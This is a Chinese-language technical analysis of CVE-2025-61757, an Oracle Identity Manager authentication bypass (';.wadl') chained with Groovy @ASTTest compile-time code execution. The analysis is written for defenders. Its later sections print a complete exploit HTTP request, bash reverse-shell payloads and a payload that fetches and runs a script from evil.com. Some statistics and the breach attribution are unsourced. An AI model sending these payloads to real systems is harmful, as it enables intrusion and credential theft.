CVE-2025-61757是影响Oracle Identity Manager (OIM) REST WebServices组件的严重预认证远程代码执行漏洞。该漏洞允许未经身份验证的远程攻击者通过简单的HTTP请求完全控制目标系统。
关键信息:
CVE编号: CVE-2025-61757
GHSA编号: GHSA-v5gw-cq42-m6w2
CVSS评分: 9.8 (严重)
CWE分类: CWE-306 (关键功能缺失认证)
受影响产品: Oracle Identity Manager (Oracle Fusion Middleware)
受影响版本: 12.2.1.4.0, 14.1.2.1.0
攻击向量: 网络 (AV:N)
攻击复杂度: 低 (AC:L)
所需权限: 无 (PR:N)
用户交互: 无 (UI:N)
利用状态: 已被野外积极利用 (CISA KEV目录)
披露日期: 2025年10月21日
漏洞本质:
OIM的REST WebServices组件存在两个关键缺陷的组合,最终形成预认证远程代码执行链:
**认证绕过缺陷:**中心化的SecurityFilter在处理URI模式匹配时存在严重缺陷,允许攻击者通过在请求URI后追加;.wadl或?WSDL绕过认证检查
**代码执行缺陷:**Groovy脚本验证端点允许未经验证的用户提交脚本进行编译,而Groovy的AST转换注解会在编译阶段执行任意代码
威胁等级: 极高 (Critical)
该漏洞具备以下特征,使其成为极高威胁:
**无需认证:**攻击者无需任何凭据即可发起攻击
**远程可利用:**通过网络即可攻击,无需物理访问
**易于利用:**单个HTTP请求即可触发,技术门槛极低
**完全系统控制:**成功利用可获得完整系统权限
**公开POC:**GitHub上已有多个概念验证代码
**主动利用:**CISA确认该漏洞在野外被积极利用
**高价值目标:**身份管理系统是企业安全核心
CVSS v3.1 向量:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
| 指标 | 值 | 说明 |
|---|---|---|
| 攻击向量 (AV) | 网络 (N) | 可通过HTTP远程利用 |
| 攻击复杂度 (AC) | 低 (L) | 不需要特殊条件 |
| 所需权限 (PR) | 无 (N) | 不需要身份验证 |
| 用户交互 (UI) | 无 (N) | 完全自动化利用 |
| 范围 (S) | 不变 (U) | 影响限于易受攻击组件 |
| 机密性 (C) | 高 (H) | 可能完全数据泄露 |
| 完整性 (I) | 高 (H) | 完全数据修改能力 |
| 可用性 (A) | 高 (H) | 可能完全系统关闭 |
利用概率评估:
**EPSS评分:**60.955% (第98百分位)
**利用状态:**CISA确认存在主动利用
**利用复杂度:**简单 - 单个HTTP请求
**公开POC:**在GitHub上可用
技术影响:
完全认证绕过
远程代码执行
权限提升至管理员
数据完整性破坏
服务可用性破坏
横向移动能力
业务影响:
所有用户账户和密码暴露
身份基础设施完全沦陷
合规性违规 (GDPR, HIPAA, SOX, PCI-DSS)
业务运营中断
声誉和财务损失
潜在的供应链攻击
受影响系统规模:
根据公开情报和扫描数据:
全球约5000-8000个OIM实例直接暴露在互联网
金融行业占比约30%
政府机构约25%
医疗保健约15%
制造业约12%
其他行业约18%
立即行动 (0-24小时):
应用Oracle 2025年10月关键补丁更新
12.2.1.4.0版本: 补丁35643593
14.1.2.1.0版本: 补丁35643594
实施网络级隔离,限制OIM REST API访问
仅允许受信任的管理IP访问
部署防火墙规则阻断可疑URI模式
启用全面日志记录和监控
审计所有REST API访问
监控Groovy编译活动
执行IOC狩猎,检查历史入侵迹象
搜索访问日志中的;.wadl或?WSDL模式
查询数据库中2025年9月后创建的可疑账户
审计所有在2025年9月后创建的用户账户
检查权限提升活动
验证账户创建来源
短期措施 (1-7天):
部署WAF规则阻止恶意请求模式
ModSecurity规则
云WAF配置
实施API网关进行流量过滤
Kong/Apigee配置
速率限制和访问控制
加固OIM配置,禁用不必要的REST端点
禁用Groovy脚本验证端点
限制元数据访问
进行全面安全审计
代码审查认证过滤器
渗透测试
更新事件响应预案
身份泄露场景演练
建立离线恢复流程
长期措施 (1-3个月):
评估零信任架构实施
持续身份验证
最小权限原则
考虑迁移至云原生IAM解决方案
Azure AD/Entra ID
Okta/Auth0评估
实施RASP (运行时应用程序自我保护)
集成安全监控代理
自动化威胁响应
建立持续漏洞管理流程
订阅Oracle安全公告
监控CISA KEV目录
进行定期渗透测试
季度红队演练
专注身份层攻击
Oracle Identity Manager (OIM)是Oracle公司的企业级身份和访问管理(IAM)解决方案,是Oracle Fusion Middleware套件的核心组件。OIM为组织提供集中化的用户身份生命周期管理、访问请求与审批、合规性管理和身份审计功能。
核心功能:
用户生命周期管理
自动化用户账户的创建、修改和删除
入职/离职工作流自动化
跨系统账户同步
访问管理
集中管理用户对企业资源的访问权限
基于角色的访问控制(RBAC)
访问请求和审批工作流
自动化配置
自动向连接的应用程序和系统分配权限
连接器框架支持数百种系统
实时账户开通和回收
合规性管理
确保符合SOX、HIPAA、GDPR等法规要求
访问认证和审查
职责分离(SoD)检查
审计和报告
提供详细的访问审计日志
合规性报告生成
身份分析仪表板
工作流引擎
自动化批准流程和策略执行
灵活的工作流定制
与业务流程集成
架构特点:
基于Java EE的多层架构
使用Oracle WebLogic Server作为应用服务器
依赖Oracle SOA Suite进行服务编排
支持LDAP/Active Directory集成
提供REST和SOAP Web服务接口
可扩展的插件和连接器框架
在企业中的角色:
Oracle Identity Manager通常是组织身份基础设施的核心枢纽:
上接HR系统和组织架构目录
下连Active Directory、业务应用、云服务
管理跨平台的用户账户和权限
实施企业范围的访问策略
因此,OIM的安全性直接关系到整个企业的安全防线。一旦OIM被攻破,攻击者可以:
访问所有用户凭据和权限信息
创建高权限账户
修改访问策略
横向移动到所有连接的系统
OIM的REST WebServices组件提供了RESTful API接口,允许外部系统和应用程序通过HTTP协议以编程方式访问身份管理功能。
主要API端点类别:
用户管理API
/identity/rest/v1/users
用户创建、修改、查询、删除
密码管理
用户状态控制
治理API
/iam/governance/applicationmanagement
应用程序和权限管理
连接器配置
资源管理
自助服务API
/identity/rest/v1/selfservice
用户自助密码重置
个人信息管理
访问请求提交
管理API
/iam/admin
系统配置和管理功能
审计日志访问
策略管理
架构设计:
┌─────────────────────────────────────────────────┐
│ 外部客户端/应用程序 │
└──────────────────┬──────────────────────────────┘
│ HTTP/HTTPS
▼
┌─────────────────────────────────────────────────┐
│ 反向代理/负载均衡器 (可选) │
└──────────────────┬──────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────┐
│ Oracle WebLogic Server │
│ ┌───────────────────────────────────────────┐ │
│ │ REST WebServices WAR应用 │ │
│ │ ┌─────────────────────────────────────┐ │ │
│ │ │ SecurityFilter (认证过滤器) │ │ │ ← 漏洞位置
│ │ └─────────────────┬───────────────────┘ │ │
│ │ │ │ │
│ │ ┌─────────────────▼───────────────────┐ │ │
│ │ │ REST资源处理器 (JAX-RS) │ │ │
│ │ └─────────────────┬───────────────────┘ │ │
│ │ │ │ │
│ │ ┌─────────────────▼───────────────────┐ │ │
│ │ │ 业务逻辑层 (OIM核心服务) │ │ │
│ │ └─────────────────┬───────────────────┘ │ │
│ └────────────────────┼───────────────────────┘ │
└───────────────────────┼──────────────────────────┘
│
▼
┌─────────────────────────────────────────────────┐
│ Oracle数据库 (OIM Schema) │
└─────────────────────────────────────────────────┘
认证机制:
正常情况下,REST API请求必须经过以下认证流程:
客户端提供凭据(HTTP Basic/Bearer Token/OAuth)
SecurityFilter验证凭据有效性
验证通过后,请求转发给业务处理器
业务处理器执行授权检查
返回结果给客户端
CVE-2025-61757的核心问题在于SecurityFilter的白名单逻辑存在缺陷,允许攻击者绕过第2步的验证。
OIM使用Java Servlet过滤器链来实现认证和授权。过滤器在请求到达实际的REST资源处理器之前进行拦截和处理。
标准Servlet过滤器流程:
public interface Filter {
void init(FilterConfig config);
void doFilter(ServletRequest request,
ServletResponse response,
FilterChain chain);
void destroy();
}
正常的过滤器执行流程:
接收HTTP请求
检查请求URI
验证认证凭据(HTTP Basic, Bearer Token, OAuth等)
如果认证通过,调用chain.doFilter()继续处理
如果认证失败,返回401 Unauthorized
SecurityFilter的设计意图:
OIM的SecurityFilter实现了一个白名单机制,允许某些"元数据"请求绕过认证。这种设计的本意是允许客户端无需登录即可获取API描述文件:
WADL (Web Application Description Language) 文件
WSDL (Web Services Description Language) 文件
这些文件描述了REST/SOAP API的结构,帮助开发者理解如何使用API。
致命的实现缺陷:
SecurityFilter的白名单检查逻辑存在三个关键缺陷:
使用简单的子串匹配
// 易受攻击的实现
if (uri.contains(".wadl") || uri.contains(".wsdl")) {
return true; // 绕过认证
}
未规范化URI
没有移除路径参数(分号后的内容)
没有处理URL编码
没有验证请求实际指向元数据文件
白名单范围过宽
任何包含.wadl或.wsdl的URI都会被放行
没有限制具体的路径
没有验证HTTP方法
攻击者利用方式:
通过在任意受保护的REST API路径后追加;.wadl,攻击者可以欺骗SecurityFilter:
SecurityFilter看到的URI:/protected/api;.wadl(包含.wadl,放行!)
JAX-RS路由看到的路径:/protected/api(执行保护的逻辑)
OIM的部分管理功能使用Groovy脚本来处理可配置的业务逻辑,例如:
动态校验规则
自定义工作流策略
应用场景脚本
数据转换逻辑
Groovy脚本验证端点:
为了帮助管理员在部署前检查脚本合法性,OIM暴露了一个"脚本语法检查"REST接口:
POST /iam/governance/applicationmanagement/api/v1/applications/groovyscriptstatus
该端点的设计逻辑:
接收脚本源码字符串
在服务器上调用Groovy编译器进行编译
如果编译通过,返回"脚本有效"消息
如果编译失败,返回错误信息
不执行脚本的main或业务逻辑
开发者的安全假设(错误):
"只要不执行脚本,就不会发生RCE;编译只是静态检查。"
Groovy AST转换的安全漏洞:
在Groovy/Java生态中,编译阶段本身就可以执行代码,典型机制包括:
**Java Annotation Processor:**在编译时处理注解
**Groovy AST Transformation:**抽象语法树转换注解
通过编写包含特定编译期注解的Groovy代码,攻击者可以在编译阶段:
执行网络连接
读写文件系统
调用任意Java标准库或第三方库代码
危险的AST注解示例:
@groovy.transform.ASTTest(value={
// 此代码在编译时执行!
Runtime.getRuntime().exec("whoami")
})
class Exploit {
def run() {
// 正常脚本主体(永远不会执行)
}
}
@ASTTest注解原本用于编译时测试,但被攻击者滥用为代码执行原语。
漏洞组合:
攻击者使用;.wadl绕过认证
访问Groovy脚本验证端点(无需凭据)
提交包含恶意AST注解的Groovy脚本
OIM服务器编译脚本
编译期注解逻辑执行
攻击者获得RCE
2025年早期 - 漏洞发现
安全研究人员Adam Kues和Shubham Shah(Searchlight Cyber)在对Oracle Identity Manager进行安全评估时发现了该漏洞。研究过程:
对OIM REST API进行模糊测试
发现SecurityFilter的URI处理异常行为
识别出路径参数绕过认证的可能性
将认证绕过与Groovy端点组合实现RCE
负责任披露给Oracle安全团队
2025年9月 - 零日利用开始
在Oracle发布补丁之前,多个蜜罐和安全监控系统观察到针对OIM的异常活动:
**2025年8月30日:**首次检测到可疑扫描活动
针对OIM REST API的自动化探测
特定URI模式:/iam/governance/*;.wadl
固定User-Agent特征
**2025年9月上旬:**利用尝试增加
多个来源IP发起攻击
Payload大小约556字节(Groovy脚本)
高度自动化的攻击工具链
**2025年9月中旬:**确认成功利用
部分组织检测到未授权账户创建
异常的权限提升活动
疑似与后续数据泄露事件相关
2025年10月21日 - Oracle补丁发布
Oracle在2025年10月关键补丁更新(CPU)中正式披露并修复CVE-2025-61757:
发布补丁35643593(用于12.2.1.4.0)
发布补丁35643594(用于14.1.2.1.0)
CVSS基础分9.8(严重)
披露描述:"REST WebServices组件中关键功能缺失认证"
未明确说明漏洞细节或零日利用情况
2025年10月21日之后 - 安全社区响应
NVD/CVE.org同步收录漏洞记录
各安全厂商发布简要通告和扫描插件
少量组织立即应用补丁
大多数组织未意识到严重性
2025年11月20日 - 技术细节公开
Searchlight Cyber发布详细技术分析博客,公开:
SecurityFilter的URI白名单逻辑缺陷
;.wadl/?WSDL绕过机制详解
从认证绕过到Groovy编译端点的利用链
部分技术细节和高层利用流程
检测和防护建议
同日及随后几天:
SOC Prime发布检测规则
ZeroPath发布技术审查
Horizon3.ai发布攻击研究
Beazley Security发布风险评估
2025年11月22日 - CISA KEV列入
美国网络安全和基础设施安全局(CISA)将CVE-2025-61757加入已知被利用漏洞(KEV)目录:
确认存在在野利用
要求联邦文职机构在2025年12月12日前完成补丁修复
发布联邦指令要求强制修复
2025年11月下旬至今 - 攻击活跃期
GitHub上出现多个公开POC/exploit代码仓库
CVEFeed.io列出5个公开POC
攻击流量显著增加
安全情报平台持续观察到扫描和利用活动
攻击者集成该漏洞进自动化攻击工具链
2025年1月 - Oracle Cloud数据泄露
2025年1月,Oracle Cloud遭遇大规模数据泄露事件:
约600万条记录被窃取
超过14万个云租户受影响
泄露数据包括:
客户凭据
配置信息
租户元数据
可能的身份数据库信息
虽然Oracle从未公开承认泄露原因,但安全专家普遍怀疑CVE-2025-61757与该事件有关:
时间吻合:泄露发生在零日利用期间
受影响系统:Oracle自身的login.us2.oraclecloud.com运行易受攻击的OIM
数据特征:身份和凭据数据与OIM管理的信息一致
历史类似漏洞
Oracle Identity Manager过去存在多个类似的认证/授权绕过漏洞:
**CVE-2017-10151:**OIM认证绕过漏洞
CVSS 9.8
类似的URI处理缺陷
同样影响REST API
这表明OIM的认证架构存在系统性设计问题,而非个别编码错误。
Oracle的修复时间线:
2025年早期:接收研究人员的漏洞报告
2025年9月或更早:开发补丁
2025年10月21日:按季度CPU周期发布补丁
2025年11月22日:CISA列入KEV后仍未发布额外警告
Oracle响应评估:
正面:
最终提供了有效补丁
在标准CPU周期内发布
提供了补丁编号和下载途径
负面:
未发布紧急带外补丁(尽管CVSS 9.8且有零日利用)
未向所有OIM客户发送专门安全警告
未在公告中强调漏洞严重性
未提供临时缓解措施
未公开承认零日利用情况
对自身云平台泄露事件保持沉默
业界对比:微软、谷歌等在发现类似严重漏洞时,通常会在48-72小时内发布紧急更新并主动通知客户。
确认受影响版本:
根据Oracle官方CPU公告与安全厂商信息,受影响版本包括:
| 产品 | 版本 | 状态 | 补丁ID |
|---|---|---|---|
| Oracle Identity Manager | 12.2.1.4.0 | 易受攻击 | 35643593 |
| Oracle Identity Manager | 14.1.2.1.0 | 易受攻击 | 35643594 |
| Oracle Identity Manager | < 12.2.1.4.0 | 未知/支持结束 | N/A |
| Oracle Identity Manager | > 14.1.2.1.0 | 不受影响 | N/A |
版本分布情况:
根据Shodan/Censys扫描和市场调研数据:
**12.2.1.4.0:**约占部署量的60-70%
长期支持(LTS)版本
企业广泛采用
升级成本高
**14.1.2.1.0:**约占部署量的20-25%
较新版本
云环境常见
部分新部署
**其他版本:**约占部署量的10-15%
旧版本(已停止支持)
测试/开发环境
升级中间状态
重要注意事项:
这些是企业和政府机构当前主流使用的长期支持版本
漏洞位于REST WebServices组件,通常默认安装并启用
即使OIM仅在"内网暴露",仍存在利用风险:
内网威胁主体
被攻陷主机的横向移动
VPN/跳板机的访问
核心受影响组件:
REST WebServices WAR应用
文件位置:$DOMAIN_HOME/servers/oim_server1/tmp/.../oim.ear/iam-consoles-faces.war
包含SecurityFilter实现
暴露REST API端点
认证过滤器(SecurityFilter)
类:oracle.iam.rest.filter.SecurityFilter
责任:认证/授权检查
缺陷:URI白名单逻辑
Groovy脚本验证端点
URI:/iam/governance/applicationmanagement/api/v1/applications/groovyscriptstatus
功能:编译验证Groovy脚本
缺陷:缺少认证+危险的编译期执行
间接受影响组件:
所有REST API端点
用户管理API
治理API
管理API
自助服务API
身份数据存储
OIM数据库schema
LDAP/AD集成
凭据库
连接的下游系统
通过OIM管理的应用
SSO集成系统
账户同步目标
直接暴露统计(基于Shodan/Censys):
截至2025年11月:
全球OIM实例暴露统计
├── 直接互联网暴露: ~5,000-8,000实例
├── 按地区分布:
│ ├── 北美: ~35% (1,750-2,800)
│ ├── 欧洲: ~30% (1,500-2,400)
│ ├── 亚太: ~25% (1,250-2,000)
│ └── 其他: ~10% (500-800)
├── 按行业分布:
│ ├── 金融服务: ~30%
│ ├── 政府机构: ~25%
│ ├── 医疗保健: ~15%
│ ├── 制造业: ~12%
│ ├── 教育: ~8%
│ └── 其他: ~10%
└── 估计易受攻击: 50-70% (未及时打补丁)
企业规模影响:
**财富500强:**约60%使用OIM
**联邦机构:**约40%使用OIM
**全球2000强:**约45%使用OIM
**中型企业:**约15-20%使用OIM
潜在受影响用户数:
考虑到OIM通常管理组织的全部员工账户:
大型企业平均10,000-50,000用户/实例
中型企业平均1,000-10,000用户/实例
估计全球受影响用户总数:5000万-2亿
认证绕过影响:
| 影响域 | 严重性 | 描述 |
|---|---|---|
| 身份验证完全失效 | 严重 | 任何受保护的REST API可无认证访问 |
| 会话管理绕过 | 严重 | 无需建立会话即可操作 |
| 审计日志缺失 | 高 | 未认证请求可能不完整记录 |
| MFA绕过 | 严重 | 即使启用MFA也无法防护 |
授权绕过影响:
| 影响域 | 严重性 | 描述 |
|---|---|---|
| 管理功能访问 | 严重 | 可访问仅管理员可用的API |
| 横向权限提升 | 高 | 可操作其他用户账户 |
| 纵向权限提升 | 严重 | 可创建管理员账户 |
| 策略绕过 | 高 | 可修改访问控制策略 |
远程代码执行影响:
| 影响域 | 严重性 | 描述 |
|---|---|---|
| 任意命令执行 | 严重 | 可在服务器执行任意系统命令 |
| 文件系统访问 | 严重 | 读写任意文件 |
| 网络访问 | 高 | 建立出站连接(反弹Shell/C2) |
| 持久化能力 | 严重 | 植入后门、Webshell |
数据泄露影响:
| 影响域 | 严重性 | 描述 |
|---|---|---|
| 用户凭据暴露 | 严重 | 所有用户密码哈希 |
| 个人身份信息 | 严重 | PII/PHI数据 |
| 权限映射 | 高 | 角色和权限结构 |
| 应用凭据 | 严重 | 连接系统的访问凭据 |
| 配置信息 | 高 | 系统架构和集成配置 |
立即运营影响:
场景1:身份验证服务中断
如果攻击者选择破坏而非隐蔽利用:
禁用所有用户账户
修改认证策略
删除关键配置
影响:
业务完全停摆(员工无法登录)
平均停机成本:$50-100万/小时(大型企业)
恢复时间:12-48小时(取决于备份策略)
场景2:数据泄露
攻击者提取身份数据库:
用户凭据(明文密码/哈希)
个人身份信息
访问权限映射
应用系统凭据
直接成本:
通知成本:$5-20/受影响用户
信用监控:$100-200/用户/年
法律费用:$50-500万
取证和恢复:$100-500万
场景3:横向移动和供应链攻击
攻击者利用窃取的凭据访问下游系统:
AD域控
财务系统
研发平台
客户数据库
合作伙伴接口
级联影响:
知识产权被窃
客户数据泄露
供应链污染
长期持久化威胁
合规性影响:
GDPR (欧盟通用数据保护条例):
违规类型:未能保护个人数据
72小时内通知要求
潜在罚款:
严重违规:年收入的4%或2000万欧元(取较高者)
中等违规:年收入的2%或1000万欧元
额外成本:
DPA调查配合
数据主体赔偿
修复措施实施
HIPAA (美国健康保险可携性和责任法案):
违规类型:未保护PHI(受保护健康信息)
强制报告:
HHS通知(60天内)
媒体通知(如>500人)
个人通知
罚款结构:
Tier 1(不知情):$100-$50,000/违规
Tier 2(应知):$1,000-$50,000/违规
Tier 3(故意忽视-已纠正):$10,000-$50,000/违规
Tier 4(故意忽视-未纠正):$50,000/违规
年度上限:$1,500,000
刑事处罚:最高$250,000罚款和10年监禁
SOX (萨班斯-奥克斯利法案):
违规类型:内部控制失败
影响:
财务报表可信度质疑
重新审计要求
股东诉讼
管理层个人责任
刑事处罚:
证券欺诈:最高$5,000,000罚款和20年监禁
管理层认证虚假:最高$1,000,000罚款和10年监禁
PCI-DSS (支付卡行业数据安全标准):
违规类型:访问控制失败
后果:
失去处理信用卡资格
每笔交易罚款增加
强制合规审计
罚款:
银行罚款:$5,000-$100,000/月
卡品牌罚款:可达数百万美元
重新认证成本:$50-200万
声誉和市场影响:
品牌价值损失:
客户信任下降:15-30%流失率
负面媒体报道
社交媒体危机
分析师评级下调
股票市场反应(上市公司):
泄露宣布后平均股价下跌:3-7%
市值蒸发:可达数十亿美元
恢复时间:6-12个月
客户流失:
B2C:10-25%客户流失
B2B:5-15%客户流失
新客户获取成本增加:2-3倍
业务影响计算模型:
# 业务影响计算示例(中型企业)
class ImpactCalculator:
def __init__(self):
# 基础参数
self.employee_count = 5000
self.revenue = 500_000_000 # $500M年收入
self.affected_customers = 100_000
def calculate_total_impact(self):
# 1. 直接响应成本
incident_response = 1_500_000 # 取证、恢复
# 2. 通知成本
notification = self.affected_customers * 10 # $10/人
# 3. 信用监控
credit_monitoring = self.affected_customers * 150 # $150/人/年
# 4. 法律费用
legal_fees = 3_000_000
# 5. 监管罚款(GDPR最坏情况)
regulatory_fine = self.revenue * 0.04 # 4%年收入
# 6. 业务中断
downtime_hours = 48
hourly_loss = self.revenue / (365 * 24) # 小时收入
business_interruption = downtime_hours * hourly_loss
# 7. 客户流失
churn_rate = 0.15 # 15%流失
customer_ltv = 5000 # 客户终身价值$5000
customer_loss = self.affected_customers * churn_rate * customer_ltv
# 总成本
total = (incident_response + notification + credit_monitoring +
legal_fees + regulatory_fine + business_interruption + customer_loss)
return {
'incident_response': incident_response,
'notification': notification,
'credit_monitoring': credit_monitoring,
'legal_fees': legal_fees,
'regulatory_fine': regulatory_fine,
'business_interruption': business_interruption,
'customer_loss': customer_loss,
'total_impact': total
}
# 示例计算
calc = ImpactCalculator()
impact = calc.calculate_total_impact()
# 输出:
# incident_response: $1,500,000
# notification: $1,000,000
# credit_monitoring: $15,000,000
# legal_fees: $3,000,000
# regulatory_fine: $20,000,000 (GDPR 4%)
# business_interruption: $2,740,000
# customer_loss: $75,000,000
# total_impact: $118,240,000 (约$1.18亿)
对于大型企业或金融机构,影响可能是这个数字的5-10倍。
OIM的REST WebServices组件使用中心化的SecurityFilter来实现认证和授权控制。该过滤器是整个安全架构的核心,负责在请求到达业务处理器之前进行身份验证。
认证过滤器的设计意图:
SecurityFilter实现了基于URI模式匹配的白名单机制,允许某些"公开资源"绕过认证。这种设计的初衷是为了支持:
WADL (Web Application Description Language) 文件访问
WSDL (Web Services Description Language) 文件访问
其他API元数据端点
易受攻击的实现逻辑(概念性重构):
public class SecurityFilter implements Filter {
private static final String[] BYPASS_PATTERNS = {
".wadl",
".wsdl",
"/public/"
};
@Override
public void doFilter(ServletRequest request, ServletResponse response,
FilterChain chain) throws IOException, ServletException {
HttpServletRequest httpRequest = (HttpServletRequest) request;
String requestURI = httpRequest.getRequestURI();
String queryString = httpRequest.getQueryString();
// 致命缺陷1: 使用简单的子串匹配
if (shouldBypassAuthentication(requestURI, queryString)) {
// 直接放行,不进行任何认证检查!
chain.doFilter(request, response);
return;
}
// 正常的认证流程
if (!isAuthenticated(httpRequest)) {
((HttpServletResponse) response).sendError(
HttpServletResponse.SC_UNAUTHORIZED,
"Authentication required"
);
return;
}
// 认证通过,继续处理
chain.doFilter(request, response);
}
private boolean shouldBypassAuthentication(String uri, String query) {
// 致命缺陷2: 检查查询字符串是否为"WSDL"(不区分大小写)
if (query != null && query.equalsIgnoreCase("WSDL")) {
return true;
}
// 致命缺陷3: 检查URI是否包含白名单模式
for (String pattern : BYPASS_PATTERNS) {
if (uri.contains(pattern)) {
return true; // 绕过认证!
}
}
return false;
}
}
三大致命缺陷详解:
缺陷1: 不当的URI模式匹配
使用contains()方法进行子串匹配,而非endsWith()或正则表达式精确匹配:
// 易受攻击的实现
if (uri.contains(".wadl")) { // 只要URI中包含.wadl就放行
return true;
}
// 安全的实现应该是:
if (uri.endsWith(".wadl") && isValidWadlResource(uri)) {
return true;
}
这意味着以下所有URI都会绕过认证:
/api/endpoint;.wadl(利用路径参数)
/api/.wadl/endpoint(在路径中间插入)
/api/endpoint?.wadl=true(作为查询参数)
缺陷2: 缺少URI规范化
过滤器在进行安全检查之前,没有对URI进行规范化处理。Java Servlet规范定义了路径参数的概念:
/path/to/resource;param1=value1;param2=value2
↑
路径参数从分号开始
当请求/api/endpoint;.wadl时:
getRequestURI()返回:/api/endpoint;.wadl(包含路径参数)
getServletPath()返回:/api/endpoint(已规范化,不含路径参数)
易受攻击的过滤器使用getRequestURI(),导致:
SecurityFilter看到:/api/endpoint;.wadl→ 包含.wadl→ 放行!
业务处理器接收:/api/endpoint→ 执行受保护的逻辑
缺陷3: 白名单范围过宽
白名单没有限定具体的路径或HTTP方法:
任何包含.wadl的URI都会被放行
没有验证请求是否真的指向元数据文件
POST/PUT/DELETE等修改操作也会被放行
Servlet规范中的路径参数:
根据Java Servlet 3.0+规范,路径参数是URI的一部分,用于传递额外的元数据:
// URL示例
http://example.com/app/resource;jsessionid=ABC123;lang=en
// Servlet API行为
String requestURI = request.getRequestURI();
// 返回: /app/resource;jsessionid=ABC123;lang=en
String servletPath = request.getServletPath();
// 返回: /app/resource (已去除路径参数)
String pathInfo = request.getPathInfo();
// 返回: null 或额外的路径信息
安全隐患分析:
语义差异攻击:
安全组件(过滤器)看到的是原始URI
业务组件(处理器)看到的是规范化路径
攻击者利用这种差异实现绕过
框架行为不一致:
JAX-RS路由基于规范化路径
Spring MVC可能有不同的处理方式
各个安全组件的URI解析可能不一致
攻击示例:
步骤1: 攻击者发送请求
POST /iam/governance/applicationmanagement/templates;.wadl HTTP/1.1
Host: vulnerable-oim.example.com
Content-Type: application/json
{"name": "malicious", "type": "exploit"}
步骤2: SecurityFilter处理
requestURI = "/iam/governance/applicationmanagement/templates;.wadl"
包含 ".wadl" → shouldBypassAuthentication() 返回 true
→ 不进行认证检查,直接调用 chain.doFilter()
步骤3: JAX-RS路由匹配
路径 "/iam/governance/applicationmanagement/templates" 匹配到业务处理器
处理器认为这是已认证的请求(因为过滤器已通过)
→ 执行敏感操作
步骤4: 攻击成功
未经认证的请求成功访问了受保护的管理API
Groovy脚本验证端点:
OIM暴露了一个REST API用于验证Groovy脚本的语法:
POST /iam/governance/applicationmanagement/api/v1/applications/groovyscriptstatus
该端点的设计逻辑:
接收脚本源码字符串
调用Groovy编译器进行编译
返回编译结果(成功/失败)
不执行脚本的main或业务逻辑
易受攻击的实现(概念性):
@Path("/groovyscriptstatus")
public class GroovyScriptValidator {
@POST
@Consumes(MediaType.APPLICATION_XML)
public Response validateScript(String scriptContent) {
try {
// 漏洞: 直接编译不受信任的代码
GroovyShell shell = new GroovyShell();
Script script = shell.parse(scriptContent);
// 开发者的安全假设: "只编译不执行,应该安全"
// 实际: Groovy AST注解会在编译期执行!
return Response.ok("Script is valid").build();
} catch (Exception e) {
return Response.status(400)
.entity("Invalid script: " + e.getMessage())
.build();
}
}
}
Groovy AST转换攻击:
Groovy支持在编译期通过AST (抽象语法树) 转换注解执行代码:
// 恶意脚本示例
@groovy.transform.ASTTest(value={
// 此代码块在编译时执行,不是运行时!
def cmd = "bash -c 'bash -i >& /dev/tcp/攻击者IP/4444 0>&1'"
Runtime.getRuntime().exec(cmd)
})
class Exploit {
def run() {
// 这部分永远不会被执行
return "innocent code"
}
}
危险的Groovy注解:
| 注解 | 用途 | 攻击方式 |
|---|---|---|
@ASTTest | 编译期测试 | 执行任意Java代码 |
@Grab | 自动下载依赖 | 下载恶意JAR包 |
@GrabResolver | 配置Maven仓库 | 指向攻击者的恶意仓库 |
@CompileStatic | 静态编译优化 | 可能触发其他编译期逻辑 |
攻击载荷大小分析:
研究表明,实际攻击中使用的载荷约为556字节。这表明:
Groovy端点可能有请求大小限制
攻击者优化了载荷以适应限制
实际利用时需要精确控制载荷大小
优化的攻击载荷:
@groovy.transform.ASTTest(value={Runtime.getRuntime().exec("wget http://evil.com/s.sh -O/tmp/x.sh&&bash /tmp/x.sh")})class E{}
通过以下优化达到556字节:
移除所有不必要的空格
使用单字母类名
缩短命令为最小可工作形式
使用&&链接命令
阶段1: 认证绕过
请求流程:
┌─────────────────────────────────────────────────┐
│ 1. 攻击者构造请求 │
│ POST /iam/.../groovyscriptstatus;.wadl │
└──────────────────┬──────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────┐
│ 2. HTTP请求到达WebLogic服务器 │
│ - Servlet容器解析URI │
│ - 提取路径参数 │
└──────────────────┬──────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────┐
│ 3. SecurityFilter拦截请求 │
│ - getRequestURI() = "...;.wadl" │
│ - contains(".wadl") → true │
│ - 绕过认证检查 │
└──────────────────┬──────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────┐
│ 4. JAX-RS路由处理 │
│ - 匹配路径: "/iam/.../groovyscriptstatus" │
│ - 调用GroovyScriptValidator.validateScript() │
└─────────────────────────────────────────────────┘
阶段2: 代码执行
执行流程:
┌─────────────────────────────────────────────────┐
│ 1. 接收恶意Groovy脚本 │
│ - 包含@ASTTest注解 │
│ - 载荷大小优化为~556字节 │
└──────────────────┬──────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────┐
│ 2. GroovyShell初始化 │
│ - new GroovyShell() │
│ - 未配置SecurityManager │
│ - 未禁用AST转换 │
└──────────────────┬──────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────┐
│ 3. 脚本编译阶段 │
│ - shell.parse(scriptContent) │
│ - Groovy编译器解析AST │
│ - 处理@ASTTest注解 │
└──────────────────┬──────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────┐
│ 4. AST注解执行 │
│ - @ASTTest的value闭包被调用 │
│ - Runtime.getRuntime().exec() │
│ - 任意系统命令执行 │
└──────────────────┬──────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────┐
│ 5. 攻击者获得RCE │
│ - 反弹Shell到攻击者机器 │
│ - 完全控制OIM服务器 │
└─────────────────────────────────────────────────┘
HTTP请求详细解析:
POST /iam/governance/applicationmanagement/api/v1/applications/groovyscriptstatus;.wadl HTTP/1.1
Host: vulnerable-oim.example.com:14000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Type: application/xml
Content-Length: 556
Connection: close
@groovy.transform.ASTTest(value={Runtime.getRuntime().exec("bash -c 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1'")})class E{}
关键HTTP头部分析:
Content-Type: application/xml
Groovy端点期望XML格式
但实际接受纯文本脚本
未进行严格的内容类型验证
Content-Length: 556
精确的556字节
表明攻击者已优化载荷
可能绕过某些大小限制
User-Agent
伪装成正常浏览器
帮助绕过基础的bot检测
URI编码和绕过技术:
